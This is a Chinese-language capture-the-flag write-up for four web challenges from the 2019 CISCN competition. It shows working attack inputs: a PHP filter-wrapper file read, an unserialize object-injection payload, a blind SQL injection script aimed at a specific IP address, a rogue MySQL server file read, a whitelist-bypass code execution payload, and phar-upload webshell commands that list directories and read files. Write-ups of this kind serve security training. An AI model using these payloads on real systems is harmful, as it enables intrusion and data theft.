2019全国大学生信息安全竞赛ciscn-writeup(4web)
web1-JustSoso
php伪协议获取源码
?file=php://filter/read=convert.base64-encode/resource=index.php
index.php
1 <html> 2 <?php 3 error_reporting(0); 4 $file = $_GET["file"]; 5 $payload = $_GET["payload"]; 6 if(!isset($file)){ 7 echo 'Missing parameter'.'<br>'; 8 } 9 if(preg_match("/flag/",$file)){ 10 die('hack attacked!!!'); 11 } 12 @include($file); 13 if(isset($payload)) 14 { 15 $url = parse_url($_SERVER['REQUEST_URI']); 16 parse_str($url['query'],$query); 17 foreach($query as $value) 18 { 19 if (preg_match("/flag/",$value)) { 20 die('stop hacking!'); 21 exit(); 22 } 23 24 } 25 $payload = unserialize($payload); 26 } 27 else{ 28 echo "Missing parameters"; 29 } 30 ?> 31 <!--Please test index.php?file=xxx.php --> 32 <!--Please get the source of hint.php--> 33 </html>
hint.php
1 <?php 2 class Handle{ 3 private $handle; 4 public function __wakeup(){ 5 foreach(get_object_vars($this) as $k => $v) { 6 $this->$k = null; 7 } 8 echo "Waking up\n"; 9 } 10 public function __construct($handle) { 11 $this->handle = $handle; 12 } 13 public function __destruct(){ 14 $this->handle->getFlag(); 15 } 16 } 17 18 class Flag{ 19 public $file; 20 public $token; 21 public $token_flag; 22 23 function __construct($file){ 24 $this->file = $file; 25 $this->token_flag = $this->token = md5(rand(1,10000)); 26 } 27 28 public function getFlag(){ 29 $this->token_flag = md5(rand(1,10000)); 30 if($this->token === $this->token_flag) 31 { 32 if(isset($this->file)){ 33 echo @highlight_file($this->file,true); 34 } 35 } 36 } 37 } 38 ?>
分析代码可以看出是要包含hint.php然后构造反序列化,拿到flag
有以下几个难点
1. parse_str不能出现flag
2. handle的wake会把变量清空
3. token===token_flag
根据一些以前做过的题目,找到对应可以使用这些方法,
1. 使用域名之后使用///
2. 将我们payload中O:6:"Handle":1改为O:6:"Handle":2
3. 使用引用,使token为token_flag的引用
最终payload:另外类中包含类用%00补全空缺的字符
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
web2-全宇宙最简单的SQL
简单测试就可以确定username存在sql注入,且使用一些payload尝试会输出登录失败和数据库操作失败,
可以利用这点构造payload
尝试输入大整数~0
简单测试后发现if,or,sleep,benchmark都被过滤了。
并且因为or被过滤无法从information_schema获取表名,字段等信息
好在简单猜出表名为user,一个字段为username,另一个大概率为password,没法确认
接下来需要进行同表查询
1 #coding=utf-8 2 import requests 3 s="" 4 url="http://39.97.227.64:52105/" 5 for i in range(100): 6 for j in range(30, 128): 7 username="' and (select (ascii(substr((select t.2 from (select 1,2 from user union SELECT * from user )t LIMIT 1 OFFSET 1),{i},1))={j})+~0)#".format(i=i,j=j) 8 data = {"username":username,"password":i} 9 r=requests.post(url,data=data) 10 r=r.content 11 if '数据库操作失败!' in r: 12 s+=chr(j) 13 print s 14 print s #F1AG@1s-at_/fll1llag_h3r3
只获取用户名为admin,密码为F1AG@1s-at_/fll1llag_h3r3
进入后台发现是一个是一个mysql客户端,可以连接任意服务端,
这样的场景存在一个任意文件读的漏洞,前几天在ddctf中做过,所以直接将rogue_mysql_server.py部署好,需要读取的文件为/fll1llag_h3r3,输入ip地址读取即可
web3-love_math
这题很难很硬核,两个难点
1.只能使用白名单中的函数
2.输入长度小于80
这两点导致输入只能为数字,这点可以爆破,选出合计长度最短即可
1 for($i = 9;$i<=36;$i+=1) 2 echo base_convert(exec,34,$i).' '.$i."<br>";
经过前前后后多次调试,终于弄出一个合适payload
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
长度79,相当于exec('cat f*'),用system(cat *)长度会变为80。。
web4-RefSpace
首先首页可以文件包含读源码
?route=php://filter/read=convert.base64-encode/resource=index
index.php
1 <?php 2 error_reporting(E_ALL); 3 define('LFI', 'LFI'); 4 $lfi = $_GET['route'] ?? false; 5 if (!$lfi) { 6 header("location: ?route=app/index"); 7 exit(); 8 } 9 include "{$lfi}.php"; 10 //Good job, you know how to use LFI, don't you? 11 //But You are still far from flag 12 //hint: ?router=app/flag
app/flag.php
1 <?php 2 if (!defined('LFI')) { 3 echo "Include me!"; 4 exit(); 5 } 6 use interesting\FlagSDK; 7 $sdk = new FlagSDK(); 8 $key = $_GET['key'] ?? false; 9 if (!$key) { 10 echo "Please provide access key<br \>"; 11 echo '$_GET["key"];'; 12 exit(); 13 } 14 $flag = $sdk->verify($key); 15 if ($flag) { 16 echo $flag; 17 } else { 18 echo "Wrong Key"; 19 exit(); 20 } 21 //Do you want to know more about this SDK? 22 //we 'accidentally' save a backup.zip for more information
backup.zip
在robots.txt中,发现上传点
简单测试发现只能上传jpg和gif,因为前面存在文件包含操作,故可以通过上传压缩包,然后使用phar命令执行代码
使用?route=phar://upload/eval.gif.gif/eval&cmd=code
发现system执行不了命令
执行了phpinfo();发现禁用大量函数,但没有禁用scandir和file_get_contents所以可以读代码
phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("."));
发现flag.txt,但是被加密了
phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("app"));
phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/Up10aD.php"));
1 <?php 2 if (!defined('LFI')) { 3 echo "Include me!"; 4 exit(); 5 } 6 7 if (isset($_FILES["file"])) { 8 $filename = $_FILES["file"]["name"]; 9 $fileext = ".gif"; 10 switch ($_FILES["file"]["type"]) { 11 case 'image/gif': 12 $fileext = ".gif"; 13 break; 14 case 'image/jpeg': 15 $fileext = ".jpg"; 16 break; 17 default: 18 echo "Only gif/jpg allowed"; 19 exit(); 20 } 21 $dst = "upload/" . $_FILES["file"]["name"] . $fileext; 22 move_uploaded_file($_FILES["file"]["tmp_name"], $dst); 23 echo "文件保存位置: {$dst}<br />"; 24 } 25 ?> 26 <html> 27 28 <head> 29 <meta charset="UTF-8"> 30 </head> 31 32 <body> 33 我们不能让选手轻而易举的搜索到上传接口。<br /> 34 即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪 35 <form method="post" enctype="multipart/form-data"> 36 <label for="file">来选择你的文件吧:</label> 37 <input type="file" name="file" id="file" /> 38 <br /> 39 <input type="submit" name="submit" value="Submit" /> 40 </form> 41 42 </body> 43 44 </html>
phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("app/index.php"));
1 <?php 2 if (!defined('LFI')) { 3 echo "Include me!"; 4 exit(); 5 } 6 ?> 7 <html> 8 9 <head> 10 <meta charset="UTF-8"> 11 </head> 12 13 <body> 14 15 Hi CTFer,<br /> 16 这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br /> 17 Powered by Aoisystem<br /> 18 <!-- error_reporting(E_ALL); --> 19 20 </body> 21 22 </html>
phar://upload/eval.gif.gif/eval&cmd=scandir("/");
发现/ctf目录可以读
phar://upload/eval.gif.gif/eval&cmd=print_r(scandir("/ctf"));
phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/sdk.php"));
1 <?php ?><?php //CN: 这是一个使用商业代码保护工具加密的PHP文件,你并不需要解密它。EN: Advanced encrypted PHP File, You do not need to decrypt it.<?php 2 return sg_load('A99ED...此处省略一万字...ATbQ8qZpbG56Q0FLEBD9HqiLuorcDsqfVG2iU//NLl9Hh8BwjQHcLfQOZ9nSeuSKrMFO6u06gAAAAA=');
phar://upload/eval.gif.gif/eval&cmd=print_r(file_get_contents("/ctf/ixed.lin"));
返回一个elf文件,看起来是加密使用的,前面提示不需要破解,没有继续尝试。。。
现在看了所有代码后,发现只剩下sdk开发文档中的内容了。。
意思是我们要输入一个key与getHash一致,我们就能获得flag。
经过不知道多少尝试,查了多少资料,最终得到以下一些结论
1.getHash是一个私有方法
上传这样一个文件
包含,phar://upload/eval.gif.gif/flag
复习类相关后,懵逼了。。。我要怎么去获取一个私有方法的返回值?
判断处还是===,排除弱类型。
然后想起面向对象的三大特性,继承封装与多态,然后查询php相关,发现php的私有方法继承后也还是私有,那么尝试多态
我们可以通过继承然后重写getHash方法,但是这样,依然无法获取flag的值,重写后,返回值也被覆盖了。。。
再三思索。发现一个问题,能不能重写sha1函数?
经过查找与尝试发现可以,只要使用命名空间namespace就可以
尝试上传,访问
返回
尝试上传
返回为
这里心态又崩了,这个getHash八成是一个真的sha1的hash,只有输入真hash才能通过
那么就是说必须读取这个私有方法,接下来就是百度百度百度
发现有个反射可以读,结合题目名字refspace,space指namespace,那么ref一定是ReflectionClass!把文章中代码改了改上传。
获取hash,a356bc8d9d3e69beea3c15d40995f395425e7813
然后将代码改为如下,获取flag